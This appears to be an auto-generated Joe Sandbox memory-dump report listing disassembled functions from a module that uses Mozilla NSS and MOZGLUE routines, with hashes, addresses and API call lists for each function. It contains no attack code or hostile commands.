Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: adecca6fa08ff73e72444ee2e05c8f2468dffe135c6d1be83830ef64c1f8e533
Instruction ID: 633eab4e97a6b48ede0eb7311decef06f7cd3a957006a4a95fec17a03b9a7afe
Opcode Fuzzy Hash: adecca6fa08ff73e72444ee2e05c8f2468dffe135c6d1be83830ef64c1f8e533
Instruction Fuzzy Hash: DC212AB59046659BDF00AF78C185A29BBF4FB06398F055A69D894C7600F738E9E0CBD2

Function 6BA98970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6BA461C4,?,6BA45639,00000000), ref: 6BA98991
TlsGetValue.KERNEL32(?,?,?,?,?,6BA45639,00000000), ref: 6BA989AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6BA45639,00000000), ref: 6BA989C6
PR_WaitCondVar.NSS3 ref: 6BA989F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6BA45639,00000000), ref: 6BA98A0C

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: e43870eba378b19f66583de026e9147559ec5efdb763767085f2aa5c3b15e662
Instruction ID: 5c463360d9fe4a9f076590ef50ddf77fdd1950bd57e54d8e80854b9303bf47de
Opcode Fuzzy Hash: e43870eba378b19f66583de026e9147559ec5efdb763767085f2aa5c3b15e662
Instruction Fuzzy Hash: 2C2166B09046158FCF00AF78D58526EBBF0FB06398F0546AAD8989B201E734D8D1CB92

Function 6BA98800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98821
TlsGetValue.KERNEL32(?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA9883D
EnterCriticalSection.KERNEL32(?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6BA98887
PR_Unlock.NSS3(?,?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98899

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 297831da6dad01d6ca075f79e641b52b01f3a4c5064af733419033bd5089ab89
Instruction ID: 94bfb28e79292f0ba3bda02e73be3c2664de27269f49860e93abb306cb98975a
Opcode Fuzzy Hash: 297831da6dad01d6ca075f79e641b52b01f3a4c5064af733419033bd5089ab89
Instruction Fuzzy Hash: 082157B49246059FDF00AF78D58526EBBF4FB06384F048669D894D7201EB38D8D1CBA2

Function 6BA628A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6BA580DD), ref: 6BA628BA
EnterCriticalSection.KERNEL32(?,?,?,?,6BA580DD), ref: 6BA628D3
PR_Unlock.NSS3(?,?,?,?,?,6BA580DD), ref: 6BA628E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6BA580DD), ref: 6BA6290E
free.MOZGLUE(?,?,?,?,?,?,6BA580DD), ref: 6BA6291A

Part of subcall function 6BA59270: DeleteCriticalSection.KERNEL32(?,?,6BA65089,?,6BA63B70,?,?,?,?,?,6BA65089,6BA5F39B,00000000), ref: 6BA5927F
Part of subcall function 6BA59270: free.MOZGLUE(?,?,6BA63B70,?,?,?,?,?,6BA65089,6BA5F39B,00000000), ref: 6BA59286
Part of subcall function 6BA59270: PL_HashTableDestroy.NSS3(?,6BA63B70,?,?,?,?,?,6BA65089,6BA5F39B,00000000), ref: 6BA59292

Part of subcall function 6BA58B50: TlsGetValue.KERNEL32(00000000,?,6BA60948,00000000), ref: 6BA58B6B
Part of subcall function 6BA58B50: EnterCriticalSection.KERNEL32(?,?,?,6BA60948,00000000), ref: 6BA58B80
Part of subcall function 6BA58B50: PL_FinishArenaPool.NSS3(?,?,?,?,6BA60948,00000000), ref: 6BA58B8F
Part of subcall function 6BA58B50: PR_Unlock.NSS3(?,?,?,?,6BA60948,00000000), ref: 6BA58BA1
Part of subcall function 6BA58B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6BA60948,00000000), ref: 6BA58BAC
Part of subcall function 6BA58B50: free.MOZGLUE(?,?,?,?,?,6BA60948,00000000), ref: 6BA58BB8

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 61677d2de3d4f91b3949fd52a33910b994b4ca132f937879ad7a101077d456f3
Instruction ID: 1bb0918f71c3e2a39a36f97c6ce0cb6cec08534915c5f94d7a01ab4db2dbdb61
Opcode Fuzzy Hash: 61677d2de3d4f91b3949fd52a33910b994b4ca132f937879ad7a101077d456f3
Instruction Fuzzy Hash: 0421E6B6904B099BDF00AF78C28952DBBA4FF45354F054969D8949B301E738E8D5CB92

Function 6BA3BA40 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA3BA51
TlsGetValue.KERNEL32 ref: 6BA3BA6B
EnterCriticalSection.KERNEL32 ref: 6BA3BA83
TlsGetValue.KERNEL32 ref: 6BA3BAA1
_PR_MD_UNLOCK.NSS3 ref: 6BA3BAC0

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterSection
String ID:
API String ID: 2444776475-0
Opcode ID: 1d34c0b8fe044a451719210cdb7c4c0533bce8014ad1f5de9d8b7d1b8145c025
Instruction ID: cd20269075f1f4f9f6e818da1c4381629730db70d705290ff3065d3cdcd3128d
Opcode Fuzzy Hash: 1d34c0b8fe044a451719210cdb7c4c0533bce8014ad1f5de9d8b7d1b8145c025
Instruction Fuzzy Hash: D0216AB1C04A148BDF00AF78C54526DBBB5FF42354F498668DC88CB201EB39D4D5CB92

Function 6BA9F860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BA9F893

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6BA566A0), ref: 6BA9F8AA

Part of subcall function 6BA9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB85
Part of subcall function 6BA9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6BA9FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA9F8B9

Part of subcall function 6BAA1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA1228
Part of subcall function 6BAA1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6BAA1238
Part of subcall function 6BAA1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA124B
Part of subcall function 6BAA1200: PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA125D
Part of subcall function 6BAA1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6BAA126F
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6BAA1280
Part of subcall function 6BAA1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6BAA128E
Part of subcall function 6BAA1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6BAA129A
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6BAA12A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6BA9F8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6BB718E0), ref: 6BA9F905

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: e5c9784ee9be7dbf57ecb9335b5abf15bb196b53f1c54e365436fd929c851117
Instruction ID: 0f3c955d9bf8b2785b1392365ca8d28ca6cfe8858a49584f89c78207617e1c99
Opcode Fuzzy Hash: e5c9784ee9be7dbf57ecb9335b5abf15bb196b53f1c54e365436fd929c851117
Instruction Fuzzy Hash: 86112E72E103006BFB00AB34AD42B3B77D89F85648F04417CF81487141FB36D54493E2

Function 6BA309E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6BA306A2,00000000,?), ref: 6BA309F8
malloc.MOZGLUE(0000001F), ref: 6BA30A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6BA30A33

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

PR_Free.NSS3(?), ref: 6BA30A6C
PR_Free.NSS3(?), ref: 6BA30A87

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: d225357ac46b1241afea32942471e5e4f4fb8e63b28bbe9e2c667e3eba61613a
Instruction ID: e936196adf0132a40c3b158beb2b614a149b6666c58dc7a287b4acb717d457a6
Opcode Fuzzy Hash: d225357ac46b1241afea32942471e5e4f4fb8e63b28bbe9e2c667e3eba61613a
Instruction Fuzzy Hash: FD11E4B2C00B509BEF209F39EA8172BB7A8FB01754F445529D856C3910EB39F494C791

Function 6BAD4AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6BAD4AD1), ref: 6BAD4B62
free.MOZGLUE(?,00015180,00000005,?,6BAD4AD1), ref: 6BAD4B76

Part of subcall function 6BAD03C0: CloseHandle.KERNEL32(?,?,?,?,6BAD4B27,?,?,00015180,00000005,?,6BAD4AD1), ref: 6BAD03E0
Part of subcall function 6BAD03C0: GetLastError.KERNEL32(?,6BAD4B27,?,?,00015180,00000005,?,6BAD4AD1), ref: 6BAD03FD

Part of subcall function 6BAD03C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6BAD4B27,?,?,00015180,00000005,?,6BAD4AD1), ref: 6BAD0419
Part of subcall function 6BAD03C0: free.MOZGLUE(?,?,6BAD4B27,?,?,00015180,00000005,?,6BAD4AD1), ref: 6BAD0420

CloseHandle.KERNEL32(?,00015180,00000005,?,6BAD4AD1), ref: 6BAD4B96
free.MOZGLUE(?,?,6BAD4AD1), ref: 6BAD4B9D
memset.VCRUNTIME140(6BBA2F9C,00000000,00000090,00015180,00000005,?,6BAD4AD1), ref: 6BAD4BB2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: 79ba83b48f1087fb902e891ad1a44ed86cb90f8467379c138239cdd0d948336e
Instruction ID: 166a1ecdd6a73a2fd2ee5e3b48cb18ef97615c5311c5aa4875ada488470c81f9
Opcode Fuzzy Hash: 79ba83b48f1087fb902e891ad1a44ed86cb90f8467379c138239cdd0d948336e
Instruction Fuzzy Hash: 8511EF72D00250AFDF309B65DC07B6E7725FB22618F090165E90967220EB3BE491DBE6

Function 6BAAD9A0 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

SEC_PKCS7DecoderStart.NSS3 ref: 6BAAD9C5

Part of subcall function 6BAAD430: PORT_NewArena_Util.NSS3(00000400), ref: 6BAAD43B
Part of subcall function 6BAAD430: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6BAAD452
Part of subcall function 6BAAD430: PORT_ZAlloc_Util.NSS3(00000044), ref: 6BAAD48D
Part of subcall function 6BAAD430: PORT_NewArena_Util.NSS3(00000400), ref: 6BAAD4A0

SEC_PKCS7DecoderUpdate.NSS3(00000000,?,?), ref: 6BAAD9DD

Part of subcall function 6BAAD8A0: PR_GetCurrentThread.NSS3 ref: 6BAAD8D0
Part of subcall function 6BAAD8A0: SEC_PKCS7DestroyContentInfo.NSS3(00000000), ref: 6BAAD905
Part of subcall function 6BAAD8A0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6BAAD921

SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6BAAD9FC

Part of subcall function 6BAAC6E0: SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6BAA71CF,?), ref: 6BAAC70F
Part of subcall function 6BAAC6E0: CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6BAA71CF,?), ref: 6BAAC811
Part of subcall function 6BAAC6E0: CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6BAA71CF,?), ref: 6BAAC841
Part of subcall function 6BAAC6E0: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BAAC855
Part of subcall function 6BAAC6E0: PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6BAA71CF,?), ref: 6BAAC868

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BAADA1B
free.MOZGLUE(00000000), ref: 6BAADA24

Part of subcall function 6BA9DD00: PR_SetError.NSS3(FFFFE009,00000000,?,-00000001,?,6BAA6CD3,?), ref: 6BA9DD1B
Part of subcall function 6BA9DD00: PORT_FreeArena_Util.NSS3(6BAA6CD3,00000001,?,-00000001,?,6BAA6CD3,?), ref: 6BA9DD2A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena_$DestroyFree$Alloc_CertificateContentDecoderErrorInfo$ArenaCurrentFindStartThreadUpdatefree
String ID:
API String ID: 2712268329-0
Opcode ID: a459dd20973b3e54a4728ee9995b5311343a89840adb4115059f76e6d093e659
Instruction ID: 7aaddd2c7d47b658ca6f7eb68e42d0bace08e914cf38af8bd7c7641e05ddcbae
Opcode Fuzzy Hash: a459dd20973b3e54a4728ee9995b5311343a89840adb4115059f76e6d093e659
Instruction Fuzzy Hash: CC11A375A442005BEB00DF29AD0195AB7D8AF98248F094038FC9DD3221E735E594C6B2

Function 6BA43B50 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA43B69
EnterCriticalSection.KERNEL32(?), ref: 6BA43B79
PL_HashTableLookup.NSS3(?), ref: 6BA43B89
PR_Unlock.NSS3 ref: 6BA43B99
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6BA43BC6

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorHashLookupSectionTableUnlockValue
String ID:
API String ID: 1499782032-0
Opcode ID: 4cf4a7e2005a10f4dd8e9e5df23870aca9657a62d1685e5629b8344716255826
Instruction ID: 0adc987cdd61a34e4316adf42c2ef6eea48fb93b8b4c25a8dfd48ffbd20cb06a
Opcode Fuzzy Hash: 4cf4a7e2005a10f4dd8e9e5df23870aca9657a62d1685e5629b8344716255826
Instruction Fuzzy Hash: E2114431E04514ABEF206E38DC46B2A3BA8EB02719F044671EC9897310EB66E8D586D0

Function 6BA43BF0 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA43C0E
EnterCriticalSection.KERNEL32 ref: 6BA43C23
PL_HashTableLookup.NSS3 ref: 6BA43C3B
SECITEM_DupItem_Util.NSS3 ref: 6BA43C47
PR_Unlock.NSS3 ref: 6BA43C5E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterHashItem_LookupSectionTableUnlockUtilValue
String ID:
API String ID: 1352239609-0
Opcode ID: 336f32ab3a018e3489fef23619b78804daf37ef79d680bd71df541283beab430
Instruction ID: b118fb31a4ddc5df1f091d57ab9504e6f8194ec9d43f5ad5a2cde5e0375d8e2c
Opcode Fuzzy Hash: 336f32ab3a018e3489fef23619b78804daf37ef79d680bd71df541283beab430
Instruction Fuzzy Hash: 1701AD719046249BDF20AF7DC18942FBBE4EA06644F054A39ECD8D7200EB35E8D8CBD1

